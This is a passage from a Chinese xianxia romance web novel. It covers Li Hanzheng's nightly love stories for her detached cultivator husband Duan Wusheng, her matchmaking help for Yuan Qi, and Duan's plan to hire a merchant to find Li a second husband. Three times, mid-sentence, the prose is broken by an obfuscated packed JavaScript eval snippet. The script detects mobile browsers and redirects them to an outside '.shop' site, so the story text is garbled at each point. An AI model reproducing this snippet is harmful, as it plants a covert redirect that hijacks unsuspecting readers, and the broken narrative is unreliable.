段梧声:“……” 李寒筝又戳了下段梧声的脸:“说话,说谢谢。” 段梧声不想说,亦不想再被戳,权衡之下只好道:“多谢。” 李寒筝很满意,“你的运气实在特别好,我呢,十分擅长寓教于乐,接下来每晚我都会给你讲一个故事,你需得认真学习,虚心求教。” 段梧声心中计算了一番,倘若李寒筝还可以再活八十年,那便是两万九千两百天,两万九千两百个故事。 待李寒筝老得牙齿都掉了,嘴里戴了假牙,讲故事时或许会把假牙喷到他身上,到时他还得帮她安假牙。 “……” 或许接下来会是一个很艰苦的八十年。 李寒筝不知道段梧声此时的心理活动,见他沉默,便理解为兴奋感动以致不能言,清了清喉咙,道:“第一个故事呢,叫做回家一百次的诱惑。” 李寒筝看过穿书攻略局所有的成功案例,发现大多数成功宿主都会采用救赎式攻略,从某种程度上来讲,就是舔狗。 但是李寒筝觉得这种方式十分老套,新时代新征程,需要创新来注入强劲动力,需要结构性改革引领创造性飞跃。 救赎攻略对象实在是太过老套,何不如让攻略对象来救赎自己呢? 救赎她的贫穷,包容她偶尔的坏脾气。 李寒筝很快就想好了故事的内容:一个丈夫面对自己花天酒地的妻子始终深情守候,最后她的妻子浪子回头,二人重归于好。 瞧瞧,多么的感天动地。 故事讲完,段梧声的眼睛似乎亮了一分,“你要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177325|196917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出去花天酒地吗?” 李寒筝当即斩钉截铁道:“那是旁人,我洁身自好为人正直,自是不会。” 而后自吹:“如何,是否觉得我果真是举世难寻的良人?” 黑暗中段梧声嗯了一声,李寒筝诡异地沉默了下,是她的错觉吧?怎么感觉段梧声有点期待她出去花天酒地? * 风竹潇潇,夜色寂静。 铜漏的水声滴滴答答,已过了亥时,李寒筝说话的声音越来越低,渐至无声,唯有绵长清浅的呼吸声。 段梧声偏头看了一眼,有些意外。 李寒筝醒着的时候很是多言,但是睡着了之后却意外地很是安分,搭在他身上的手和腿都收了回去,平躺在床榻上,双手交叠置于腹前,不磨牙不打呼,睡姿端正,甚至有些乖巧了,和她白日里的形象一个天上一个地下。 段梧声穿鞋起身,走了几步想起凡人易感风寒,又折返给李寒筝掖好了被子。 做完此事他再次转身走出几步,又想起凡人处于太热的环境中似乎也会生病,于是再次折返,望着李寒筝沉静的睡颜,有些把握不住度。 最后用被子给李寒筝包裹得严严实实,而后将霜天策放在李寒筝身侧。 如此,便不冷亦不热了。 * 月上中天,推开书房,是一地霜雪般的月光。段梧声在暗处静坐良久,取出了冰魄剑和蜃楼珠。 蜃楼珠上镌刻着一枝樱花,取自那个人名字中的“樱”字。 樱花是一种很奇怪的花,一夜之间灼然而开,花期却很短暂,最长不过十天。 她的命运似乎也和这个“樱”字暗合,横空出世,天纵奇才,是魔域有史以来最具天赋的君主,却也很快开至荼靡,死在那场断生之战中。 有风越过苍苍竹林,掠过窗扉,到达他的眼底,陡然加热升温,迸出火花四溅,那是战火正在烧过寒无海,厮杀声哭喊声煎成一幅扭曲的炼狱图。 疾风兽狂奔在黑色苍原上,他被人勒在怀中,回望视线尽头的巍峨宫殿。 有人穿着玄黑重锦的衣袍站在高处,身后是陡峭冷硬的黑色檐角,台阶下是黑压压的兵甲肃然待令,她轻轻瞥下一眼,穿越百年时光,在他额上敲了一下。 亦如往常,她手持冰魄剑,用剑鞘在他额头轻敲一下,然后笑着叹息道:“真想找个安静的地方活着,像一只哼哼唧唧的野猪或者别的什么……应该还蛮有意思的。” 一望无际的灰色天空,一望无际的焦土大地,她矗立在天与地之间,沉在黑暗中的目光讳莫如深。 许多东西于他而言,都像是隔了一条水雾蒙蒙的宽阔江河,他站在岸的一边看另一边的楼起楼落,繁华枯骨。 唯有这个人的这一眼,像是一根燃烧着烈焰的箭矢,穿过了水雾迷蒙的江,抵达了岸的另一边,虽然最终难免坠入黑暗,但是破开风声的那一瞬间,照得一片白雾煌煌如金。 段梧声将冰魄剑和蜃楼珠都封存在匣子里,手掌长久地摁在匣子上,回想着那个瞬间。 月光像是在融化,化成一片清澈如水的晨光。 隔壁传来李寒筝悉悉索索的声音,她像是在梳头发,隔一会叹一口气,最后咔哒一声,梳子应是被她扔在了梳妆台上,她哼了一声。 段梧声在匣子上下了几重封印,放进了自己的识海。 做这件事的时候他突然意识到,百年来寂静无声的竹屋里多了个人。 忽而想,世间情谊大多不稳固,唯有交易往来才是真实存在的,他欠了李寒筝许多,李寒筝却对他要求甚少,唯百年陪伴守候而已,他理应更加耐心一些。 31. 两情(4) 段梧声是个信守承诺的人,既然答应了李寒筝,便会应承到底。 世间对于夫妻的定义在段梧声看来未免太过不切实际,实在虚伪得令人发笑,一生一世的誓言,情深不渝白首不移的承诺,都是情绪上头之时的谎言。 李寒筝虽然聪颖,但到底年纪小,相信这些不切实际的谎言也情有可原。他既然做了李寒筝的夫君,便会引导她正确认识情爱之事。 在他看来,所有情爱都是镜中花水中月,彼此互不干扰,如同高山和水流一般,静默相处,才是最好的状态。 他心想,李寒筝是个不能修炼的凡人,凡人的平均寿命大约为四五十岁,李寒筝今年十八岁,但是既然跟随着他生活,他也自然会帮她延年益寿,那么假定李寒筝能够活到凡人的最长寿命,也就是一百岁。 如此来算,只需要照管李寒筝八十二年即可。 但若是李寒筝仍是向往世俗的情爱,那么他也会承担起身为夫君的责任,为她寻一位性情文雅家世丰厚的男子,然后为她准备嫁妆送她出嫁。 待李寒筝和那名男子有了儿女,而后又有了孙辈之后,他也自会照看一二,教导他们如何保持家产,安身立命。 修士的寿命很是漫长,依照他的天赋,寿命更是漫长,他相信,他能够好好照料李寒筝到寿终正寝,也必然会好好安排她的葬礼,照管她的后代。 或许到了李寒筝年老之时,便不会这般活泼好动,那时说不定他们可以一起下棋喝茶,领悟天地自然。 成为李寒筝夫君之后的生活同之前并没有太多区别。 只是多了一些日常。 李寒筝不会梳发,但是又十分艳羡那些繁复好看的发型,但若是她自己上手去学,不仅很容易梳成鸡窝或者鸟巢,双手长时间举起也很容易手酸,便央着他帮她梳发。 此事很简单,再如何繁复的发型在他看来都十分容易,也费不了什么力气。 只是每日清晨把李寒筝从被窝里拉出来有些许麻烦。 李寒筝是个很难起床的人,总是抱着被子磨蹭好久,能耗上半个时辰。久而久之,段梧声摸索出一个规律,叫李寒筝起床的时候,得吸引她的注意力,和她说话。 念一段故事,或者找一段笑话。她笑了,便能起床了。 起床后,便照着她喜欢的发型梳发,李寒筝有时候想要上妆,这并不费什么功夫,段梧声便顺便学习一二。 他于学习一途向来很擅长,亦很认真,但凡学了,便力求做到最好,平日里看见新奇的发饰,便会思考放在李寒筝头发上会如何。 除了梳发和上妆,李寒筝很是沉湎于口腹之欲。 她喜欢吃菌菇,下过雨后,山间冒出很多菌菇,李寒筝便扯上他去山间采。 许多菌菇她并不认识,但是觉得好看很美味的样子,便会让他先尝一尝。 这也很是简单,段梧声身为修士,又是秽种,很少有毒能够对他起作用。 李寒筝喜欢捣鼓吃食,下山买来许多种子,央他种下去。 小葱,辣椒,茄子,黄瓜,马铃薯,地瓜,葡萄,柚子…… 同样十分简单,种植作物对于凡人而言需得考虑天时和土壤,不仅要合时合地,还需时常照顾,但是对于修士却没有这么麻烦,只需要设置一些阵法,便可以让作物果苗自行茂盛。 他是八境修士,此事对他而言只是顺手而为。 综上种种,段梧声觉得李寒筝很好养活,并不需要费很大力气。 多了一个人的生活和往日数万个重复的日子并没有太大区别。 不,还是有一点区别的。 李寒筝偶尔有些怪异之举,跑过来抱一抱蹭一蹭,戳一戳他的脸摇一下他的手,叽里呱啦说一堆话,大多是吹嘘自己叫他不要不识好歹。 段梧声初始还有些疑惑,一段时间后便想通了,这就好比养猫,猫咪的习性也是古怪难测的,有时热情有时冷漠,有时用爪子挠有时用脑袋蹭。 而对付李寒筝的方法也十分简单,便是顺从她,点头附和,赞美她,给她喂一些好吃的点心和水果,这时李寒筝便会显出一种十分骄傲的神色,如同巡视领地一般,居高临下地这看看那看看,标记领地般抱一下,然后就耀武扬威地离开了。 就比如此刻,李寒筝推门而入,气势汹汹地走过来,抽走他手中的笔,后靠桌沿,半个身子歪过来挡在他身前,明亮的眼睛凑过来,盯着他看。 像是突然亮起了两盏灯,流光溢彩。 段梧声淡定地收回手,“怎么了?” 李寒筝又凑近了一点:“你不知道吗?” 段梧声便往后仰了一点,惯来都是他审问别人,极少有被别人审问的时候,不过李寒筝向来不能以常理度之,或许这是她表达友好的一种方式。 李寒筝双手抱臂,“我的眼睛……” 段梧声流畅接道:“如同繁星一般璀璨。” “我的下颚线……” “如同刀削斧凿一般立体。” “我的美丽……” “如同正午的太阳一般不可直视。” “我的才华和智慧……” “巍峨如山,宽广似海。” “我的品行……” “昭昭如日月,朗朗似山河。” 两人一个说上半句,一个接下半句,毫无凝滞,十分流畅,一个自吹得理所当然,一个夸赞得淡然自若,一时之间,竟然十分和谐。 李寒筝满意地挺直身体,瞥了一眼手腕上的红叶手链,然后脸色就变得和手链一样绿,气咻咻地鼓起双颊,刚说了一个“你”字,就被段梧声塞了一块枣泥糕。 “我不要不识好歹,你能做我的妻子,是我三生修来的福气,”段梧声微不可查地叹了口气。 这样的对话已然重复许多遍了,每句话他都能倒背如流,但是既然李寒筝乐此不疲,他也只能配合。 李寒筝狐疑地看着他,两丸眼珠如同黑曜石。 段梧声深知此刻不能顺着往下说,便刻意引导话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177326|196917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 题,又给李寒筝喂了一块枣糕,适时倒了一杯茶递到她的唇边,温和道:“阿筝,喝口茶吧,你喜欢普洱、铁观音、茉莉,还是其他别的?” 李寒筝果然转移了注意力,就着他的手喝了一口茶,将枣泥糕咽了下去,咂咂嘴:“都喜欢。” 段梧声温柔笑开:“那我便都备着一些。” * 李寒筝端着碟枣泥糕坐在树荫下,边吃边和系统说话。 系统蹲在李寒筝的左边肩膀上,踩了踩,“你的攻略就是每天打卡么?然后随机开出一碟糕点和茶水。” 李寒筝拈着半块枣糕掰着手指头算,“你看,段梧声承认我漂亮聪明品行好,这难道不是喜欢我的意思么?” “是么?” “不是么?” 系统沉默了会,然后找到了反驳的理由:“可是七片绿叶子一点红色都没有。” 李寒筝委婉道:“会不会是你的手链有问题?” 系统斜她一眼,慢吞吞道:“我知道人类学生里面总是有一类人,将考试成绩差怪罪于状态不好,文具不好,同桌不好,甚至是饭菜不行,却从来不想一想是自己的问题,你觉得呢?” 李寒筝面无表情道:“我怀疑你在内涵我。” “不用怀疑。” “行吧,那我可要和你好好掰扯掰扯,亲爱的系统,请用你的数据库好好分析分析,撇开红叶手链不谈,爱一个人的表现是什么?” 系统一边检索一边道:“夸赞对方,欣赏对方,满足对方的请求……” 系统说了三个,便不再说了,李寒筝露出胜利的微笑,慢条斯理地吃了口枣泥糕:“亲爱的系统,你怎么不说了?” 系统:“……”好像有哪里不对,但是竟然无法反驳。 李寒筝侧过头,一双大眼睛如同灯泡一般在系统眼前亮起,压迫感十足,“系统,你谈过恋爱么?” 系统:“……你说呢?” 李寒筝连啧好几声:“太没有职业修养了,不会吧不会吧,不会有这么离谱的事情吧?指导宿主谈恋爱的系统竟然自己都没有谈过恋爱,亲爱的,你有没有听过一种叫做反讽的修辞手法?不用怀疑,我正在反讽哦。” 系统:“……” 系统默默飞到了李寒筝的左边肩膀,然而李寒筝的如炬目光却始终阴魂不散,发出恶魔般的低语:“系统,我觉得你应该立刻马上去谈一个,然后给我分享经验。” 系统瞥她一眼,吐出几个字:“……倒反天罡。” “我绝对会给你找一只漂亮的小鸟,”李寒筝搓搓手道:“怎么样,我这个宿主还是很讲义气的吧?” 系统烦不胜烦,飞到了树上,翠绿的身影藏在浓绿的树冠中,几乎难以辨认。 李寒筝邪魅狂狷的目光投向树冠,歪嘴一笑:“系统,你以为你能逃出我的手掌心么?你以为这样我就找不着你吗?” 半晌后,眯着眼睛找得眼前重影的李寒筝默默道:“好吧,你逃出我的手掌心了。” 32. 两情(5) 袁期走到寒竹居,上上下下看了好一会,没发现李寒筝的身影,小声嘀咕:“跑哪去了?” “这里。”一道声音从上方传来。 袁期抬头一看,李寒筝趴在树杈上,像条虫一样蛄蛹,头发上挂满了绿叶子,不由叹息:“发病了就吃点药吧,咱不缺钱,每天吃一盆,总能治好的,啊?” 李寒筝抱着树杈子,沉默几秒,“我只是在抓鸟。” 袁期眼里的叹息意味更浓了,“真的吗?可我还是觉得,你得吃点药。” “为什么?” 袁期微笑:“哦,难道你没有得健忘症吗?” 李寒筝想了想:“没有呀。” 袁期变脸的速度和李寒筝吃包子的速度有的一拼,立刻叉腰冷笑:“没有?答应我的事呢?这都大半个月了,你就一点不心虚吗?” 李寒筝手脚并用从树杈上爬下来,拍拍衣服,抖抖身上的叶子,回之以疑惑:“都这么多天了,你和裴姐姐还是一点进展都没有么?” 她面上的疑惑真情实意,好像在疑惑“这么简单的事情你怎么一点进展都没有”。 袁期:“……”他脆弱的心灵受到了伤害。 他想反问回去,却反应过来李寒筝已经成功地搞定了段梧声,只好将出口的反问硬生生咽回去,道:“你就说你答应我没有。” 李寒筝若有所思点点头:“你且坐下,来与我说一说你这几日和裴姐姐是如何相处的。” 袁期又哽住了,半会才从牙缝里挤出几个字:“你问这个做什么?” 李寒筝又点点头:“懂了,没有相处。” 袁期:“……” 李寒筝叹了口气,眼睛里明明白白写着“这么好的机会你都能浪费”。 袁期忍了忍,解释道:“裴道友很忙,你以为谁都跟你一样天天清闲?” 李寒筝嗯了声,道:“可是你不忙呀。” 袁期:“……” 李寒筝无辜道:“怎么又沉默了,这个问题不好回答么?” 袁期扯了下唇角,硬生生挤出一丝笑容:“裴道友为伤患担心,我自然要为裴道友分忧,于是主动去明峦峰帮忙,裴道友十分感动,几次去探望我,嘱咐我要好好休息。” 李寒筝一秒钟就懂了。 只能说语言的魅力是无穷的,这一番话说的感人至深,然而事实的真相是,半个月前袁期好不容易鼓起勇气找裴玉仪套近乎,询问是否能够帮忙,然后被裴玉仪认为是悬壶济世的绝世好医修,送去明峦峰老老实实给开了半个月的药,至今双手还微微颤抖。 而“几次”探望,实则就两次,还都是为了去探望受伤的太常司弟子,然后袁期刻意“巧遇”。 李寒筝撑着嘴角努力不笑出声,然而微微颤抖的肩膀却暴露了一切。 袁期冷眼以对,朱红流苏耳饰在风中微微飘拂,高贵又冷艳,“笑够了没,快点给我想办法。” 李寒筝止住笑,“我这里的方法有一箩筐,只看你想要哪种了。” 袁期挑眉:“哦,说来听听。” * “你觉得裴姐姐是个什么样的人?” “为人正直,恪尽职守,行侠仗义……” “好了,请不要这么痴汉,现在请你回答一个问题,你觉得裴姐姐会喜欢什么人?” “自然是和裴道友一般正直良善……” “出发点很好,但是你先不要出发。裴姐姐喜欢什么类型的人,不能全凭主观臆测,这是你以为的,不是裴姐姐以为的。” “那……旁敲侧击打探一下?” “……或许这些问题对你而言还是太难了,我们不要折磨自己,现在直接跳过问题说结论,先不论裴姐姐会不会回答这个问题,就算裴姐姐回答了,难道她回答的,就一定是她真的想要的吗?” 袁期突然有种不好的预感,不确定地开口:“……所以?” “所以……”李寒筝笑得意味深长。 第一招,打造形象。 一见钟情翻译一下就是见色起意,虽然话糙,但是理不糙,优良的形象总是对恋爱的产生具有不可磨灭的深远影响。 另一日,辰时四刻,前往太常司上值的裴玉仪准时经过秋水亭。 此时长风骤起,绿叶红花纷纷而落,一阵悠扬的琴声宛如深山溪涧清扬而泄,而秋水亭中,袁期一身白衣若雪,骨节分明的手指拨动琴弦,身形挺拔,俊美无铸,墨发和衣摆在风中飞扬。 真真是斯人若此,如逢世外仙。 此情此景,就算是个瞎子也得驻足欣赏,就算是个聋子也会沉浸其中。 一曲罢,袁期轻轻回眸,只见秋风亭外沾满了围观群众,纷纷拍手叫好,而裴玉仪连片衣角都没有。 袁期:“……” * “失策失策,谁能料到裴姐姐愣是目不斜视地去太常司了,千算万算,算准了时间和地点,却没算准裴姐姐对工作的热爱。” “李寒筝,我愣是弹了一早上的琴,手指都在发抖!” “难道我就不累了吗?为了给你打造落叶纷飞,衣袂轻扬的唯美氛围,我可是天不亮就爬起来布置场地了!” 两人开始了你一句我一句的菜鸡互啄,几个回合下来,互有输赢,深觉对方在损人上实在功力深厚。 袁期喝了口水:“算了,还是先想一想下一步吧。” 李寒筝勾起唇角:“不必你说,我已然想到了,这是一个经久不衰百试百灵的绝妙方法。” 第二步,美食攻略。 想要拿捏住一个人的心,先要拿捏住一个人的胃,这是一个颠扑不破的道理,值得无数在暗恋中苦苦煎熬的男男女女前仆后继。 试问谁在结束了一天的疲惫之后,不会想要一个人为她洗手羹汤呢? 第二日中午,袁期一一从食盒中端出了红烧鱼、党参乌鸡汤,小炒黄牛肉,辣炒鸡爪,酱香牛腩,卤猪蹄,盐水鸭,林林总总,摆满了一桌子,凝视着裴玉仪的双眼,温柔道:“裴道友,你辛苦了,我做了些菜,你要尝尝吗?” 裴玉仪十分感动,然后对着太常司饿得如狼似虎暗中窥探口水飞流直下三千尺的掌事们道:“袁道友为我们准备了一些菜肴,让我们谢谢袁道友的好心。” 于是,“谢谢袁道友”的声音响彻了太常司的上空。 * “李寒筝!这就是你说的绝妙好方法?竟然还能笑得出来!我要杀了你!” “别激动……哈哈哈……我真的……哈哈……是没想到……” 袁期阴恻恻地在空中做了个掐脖子的动作:“要是下一个方法还是没用,我就在你的水里下毒。” 事关饮食健康,李寒筝深思熟虑许久,沉声道:“那么,只能采用那个压箱底的方法了。” “什么方法?” “双人约会。” “双人约会?” “没错,创造两人独处空间,进行一次酣畅淋漓妙趣横生的情感交谈,在玩乐中展示你的人格魅力和优良品质,用你的颜值、你的幽默、你的风度吸引对方。” 袁期思量许久,缓缓道:“你说的很有道理,但问题的关键是,裴道友全年无休,不是下山斩妖除魔就是在太常司处理公务,你要怎么约到裴道友呢?” 李寒筝陷入了沉默,掐着手指开始算。 袁期挑眉:“你会占卜?” “不,”李寒筝高深莫测道:“我就是装一下。” 袁期温柔地笑了下:“李寒筝,我给你下点药吧?” “哎呀别激动嘛,”李寒筝单手撑脸,勾唇一笑:“虽然我不会占卜,但是我知道,一定会有机会的,而且很近。” “为什么?” 李寒筝高深莫测地摇了摇手指。 因为你们是天作之合情缘早定,在这个光怪陆离的修仙世界,你们是注定要相爱的男主和女主。 对于李寒筝时不时的神神叨叨,袁期已经很习惯了,他撑着下巴,眼睛微微眯起来:“那你呢?高手,我一直都很好奇,你到底是怎么拿下段梧声的?近些日子,你又是怎么和他相处的?” 李寒筝摸了摸鼻子,装模作样地咳了两声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177327|196917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“我的方法就比较高级了,深入心灵,懂么?语言是一门高深的艺术,我每天都有和他说不完的话呢。” * 是的,语言是一门高深的艺术,李寒筝每天都在孜孜不倦地给段梧声洗脑,哦不,是在深入心灵地感化。 “今天我要给你讲的故事是,白蛇传。” 夜色荡漾如海,亮着烛光的木窗是海中漂浮的岛屿,随着夜色沉浮。 李寒筝咳了两声,开始讲今晚的故事。 “故事的开始呢,是一条白蛇被一个药童所救……” 李寒筝觉得白蛇传这个故事很不错,爱得情深似海,爱得忘却生死,是个非常经典二创非常多的爱情故事,关键是,白娘子很美很强,实在是太酷了。 她也进行了一点点改动,不多,就一点点。 “白娘子水漫金山,打倒了法海,救出了许仙,两人就此过上了幸福美满的生活。” 李寒筝发现段梧声是个一戳一动的主,于是在段梧声脸上戳了下。 段梧声语气平平:“不错,很有意思。” “只是很有意思么?”李寒筝一眼不错地盯着段梧声的眼睛。 有意思的故事多了去了,干嘛非要讲白娘子,当然是为了让某个攻略值一点都不涨的人好好感悟一下爱情的美好了。 烛光朦胧昏暗,段梧声能看得见李寒筝的眼睛,黝黑润泽,蕴着一点亮。 是期望么? 期望故事中许仙和白娘子的情深似海。 段梧声喉结轻轻一动,委婉道:“阿筝,故事的目的是跌宕起伏情节有趣,却并不要求真实,这个,你知道的吧?” 李寒筝呵呵两声,默默捂住段梧声的嘴,温声细语道:“真是巧呢,你说的都是我不爱听的话。” 月色渐转,清霜满天,小院中石阶两痕,青苔上点点白露微寒。 李寒筝每日入睡得都很规律,亥时一过,就陷入了沉睡。 段梧声每晚都平躺在李寒筝身侧修炼,倒也习惯了,他这个人,最是随遇而安,于何处修炼对他都无妨,但是现下他有些无心修炼。 虽然他多次有意引导李寒筝要清醒理智,不为世间情爱所迷惑,但是很显然,最坏的情况已经发生了。 李寒筝似乎很是向往那些情情爱爱,这几日讲的都是些情爱故事。 段梧声这些日子又读了许多关于凡人的书籍,了解了颇多关于情爱的故事,其中就有一则,千金小姐爱上了卖油郎,家中父母不同意,千金小姐便跟着卖油郎私奔了。 书中多有喟叹,赞美千金小姐和卖油郎之间的感情真挚动人。 但这只是表象,世道艰辛,一个五指不沾阳春水的千金小姐,真的能够习惯衣不蔽体食不果腹的生活么?卖油郎又是否能够始终如一地爱护小姐珍惜小姐呢? 将余生的幸福,都赌在一个男人身上,说起来是爱,然而剥开那些花言巧语和甜蜜幻想,不过是一场赌局,一场极不公平输率极大的赌局。 段梧声不由得开始担心。 他既然决定了要照管李寒筝,自然得善始善终。 李寒筝虽然聪明过人,但难保不会被那些花言巧语舌灿莲花的坏男人所骗。而且李寒筝美丽又有趣,虎视眈眈的坏男人定会不少。 他的脑海中浮现一个画面,某一日,李寒筝牵着一个男人的手走到他的面前,男人斜眼跺脚流里流气,李寒筝满怀甜蜜道:“阿梧,我喜欢他,我要嫁给他。” “……” 段梧声坐起身,垂下眸看。 朦胧的月色涂抹着李寒筝的轮廓,她的睡容沉静乖巧,但是睁开双眼时,又尤为固执。 若是到了同某人情定终身的地步,还能轻易改变李寒筝的想法么? 答案大约是不能。 段梧声轻轻戳了戳李寒筝的脸颊,指尖触感温热。 他低声喃喃自语:“李寒筝,你也会这样么?” 良久,段梧声想出了一个两全之策。 倘若李寒筝仍旧执迷于此,倒不如他亲自为她挑选一个品行优良的夫君。 33. 两情(6) 笔尖悬墨落在纸上,横,撇,短竖,短竖,横折,行云流畅,瘦有风骨,至最后一笔却被几声敲门声打断,长竖没出成锋,成了一滩墨点。 袁期看着短笺上明显的墨点,心头一叹。 一封本就送不出去的短笺,毁了也算天意。 他将短笺一揉,丢在一旁,起身去开门,“找我什么事……裴道友?” 短笺中的人突然走到了眼前,袁期向来能言善辩的舌头却像是坠上了千斤重的石头,怎么也捋不直。 裴玉仪略一颔首,“袁道友,可否请你帮一个忙?” 迟到的理智终于追了上来,袁期咳了一下,稍稍避过视线,“当然可以。” 裴玉仪松了一口气:“恒州有一蛇妖作乱,毒性非常,我想请袁道友试着配制一下解药。” 袁期的视线缓慢蹭回来,触到裴玉仪澄澈干净的双眼,这下不仅舌头出了问题,大脑也开始故障,千万条思绪争先抢后地冲进来,噼里啪啦在他的脑海一顿踩,像是一万个喝醉了酒的疯子。 这个档口,他的脑海里突然浮起了李寒筝的一句话。 “没有机会,那就创造机会。” 某种莫名其妙的冲劲燃起来,袁期几乎是脱口而出:“当然可以,只是若我配制解药成功,裴道友能否答应我的邀约,当然,若是裴道友没时间,那就……” 冲劲太少,几句话就烧干了,袁期的声音越说越漂浮,到最后简直成了蚊子响。 却听裴玉仪笑了下,声如穿林之风:“邀约么?是我失职,裴道友来暮山一月之久,我都未有尽地主之谊,待我处理此事归来,定会赴约。” 袁期的脑袋突然又一片空白了,乱七八糟不知道自己说了啥,裴玉仪离开后许久,他还维持着开门的姿势,后知后觉反应过来,突然笑出了声。 * “这个人绝对是傻了。”李寒筝观察许久,下出结论。 蹲在肩膀上的系统同样点了点头。 一人一鸟对面,赫然是像风一样刮过来,一个字没说先笑了一刻钟的袁期。 李寒筝捧着茶碗,摇摇头,叹息道:“好歹也是江湖上有名的枯荣扇,好好的竟然疯了,唉,这个世道呀……” 换做平时,袁期听到这样的话定然要炸,此刻却满脸笑容道:“你一定猜不到……” 李寒筝漫不经心道:“裴姐姐答应你的邀约了?” “你怎么猜到的?” 李寒筝无语片刻,“早就听闻恋爱中的人智商会变成负数,我以前以为这是在搞抽象,没想到竟然是经验之谈。说真的,这位鼎鼎大名的枯荣扇,你要不要考虑给你自己开点药呢?” 袁期终于从甜蜜的幻想中分出一眼:“你这是在损我?” 现在才察觉出来,李寒筝扶额叹气,而后在袁期面前打了个响指,“你可想好邀裴姐姐去哪里,还有吃什么做什么?” 袁期卡了下壳,目光落在她身上,亮了一下,随即又皱起眉,像是饿极了的人好不容易发现一碗饭,却发现是一碗馊饭,徘徊在吃和不吃之间。 “喂喂喂,”李寒筝有点不满意了,“你这是什么眼神,想找我帮忙又嫌弃我?” 袁期双手抱臂,一脸打量:“是的,我很怀疑你的能力。” 李寒筝:“……”倒也不必如此直白。 李寒筝呵呵两声,好整以暇地捧着茶:“怀疑还来找我,不会吧不会吧,这位枯荣扇大人,该不会是只能找我吧?唉,某人的人缘呐……” 袁期:“……” * 香雾自天青釉香炉中悠悠淌出,给阳光一照,光滑透亮,莹莹微光,呈现出丝绸般的质地。 何殊翘着腿,手中团扇轻摇,扇柄垂下长长的流苏,委委落在她青杏色织金长裙上,端着一派的矜贵雍容。 她右手拈着一张契约,垂眸一目十行扫过,四平八稳地开口:“这是给谁找夫君?” 段梧声温和道:“李寒筝。” “好的,李……”何殊淡然的声音陡然变调,“李寒筝?” 段梧声平静回答:“不错。” “是这个世界变化太快我赶不上还是我听错了,”何殊觉得很是荒谬:“你要给你的夫人李寒筝找一位夫君?” 段梧声还是一派的淡然,好似浑然不觉自己提出了一个多么骇人听闻的交易:“不错。” 何殊团扇也不摇了,轻咳一声:“方便问一句为什么吗?” 段梧声沉吟片刻:“寒筝年纪小,向往人间的情爱,我身为她的夫君,总不好连这个小小的请求都拒绝。此外,寒筝是个凡人,很是脆弱,容易生病,容易受到惊吓,也容易死掉,我常有任务需要处理,亦有修行需要兼顾,不能时时照看她。” 何殊头脑风暴片刻,终于是把这拗口的关系给理顺了,语气都有些飘忽:“所以你就给她再找一个丈夫?” 段梧声道:“有何不可?” 何殊:“……” 李寒筝真乃奇女子也,初始以为她揭下悬赏纯属发疯,后来听闻她成了段梧声名正言顺的夫人,倒是略略刮目相看,没成想,她竟如此厉害,竟然能将堂堂一个少剑仙调教成这般……额……宽容大度? 何殊顿时肃然起敬,真爱呀真爱,原来爱人的最高境界就是给她再找一个丈夫么?是她心胸狭小了,没有办法理解这种崇高无私的真爱。 身为商人的修养还是在的,何殊很快就进入了交易模式:“好的,接下来我需要了解一下你的需求,你想要为你的夫人找一个什么样的夫君?” 段梧声抵着下巴沉吟了会,“这方面我不是特别了解,何楼主有什么建议?” 何殊唔了声:“大多凡人女子,以相夫教子侍奉公婆为一生之职,所寻丈夫,若是能满足相貌周正、脾气温和、家境殷实、公婆慈爱,便是极好了。” 段梧声轻轻皱了眉。寒筝生性活泼好动,实在难以想象她成为一位相夫教子的贤妻良母是什么样子,他顿了会,道:“反过来。” 何殊讶然:“什么?” 段梧声道:“世俗如何要求女子的,便如何要求夫君。” * 距离暮山不远,是繁华富庶的水云城,有千百商铺,万户人家。城中往来熙熙攘攘,摩肩接踵,叫卖声不绝于耳。 袁期双手抱臂,立于人群:“来这里干什么?” “不是不相信我么?”李寒筝打了个响指,挥手掠过眼前繁华熙攘:“那么,就亲自考察,然后自己 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“大主顾?”袁期往里瞧了眼,“什么样的大主顾,需要包下整个杨春楼?” 小厮闻言脸上露出一点揶揄的笑意,他左右看了下,一手挡在唇边,压低声音道:“听说是在选秀呢,两位不知道,那场面,那身段,那样貌,嚯,全都是我这辈子没见过的神仙呢。” 既有八卦,李寒筝眼睛亮了一点:“主顾是男子?” 小厮点了下头,然后吐出了一个惊天大八卦,劈得李寒筝和袁期一时双双神情空白。 他道:“选的也是男子。” “我的老天爷,”李寒筝惊叹道:“大手笔啊。” 她充满敬佩地仰头看了眼飞檐斗拱气势非凡的杨春楼,“我们还是改日再来吧。” 与此同时,杨春楼第七层,穿着短打的小厮忙里往外进进出出,衣袂飘飘的貌美侍女端着托盘迤逦而过,步带香风,向来眼高于顶目下无尘的掌柜副掌柜搓着手陪着笑脸侍立于侧。 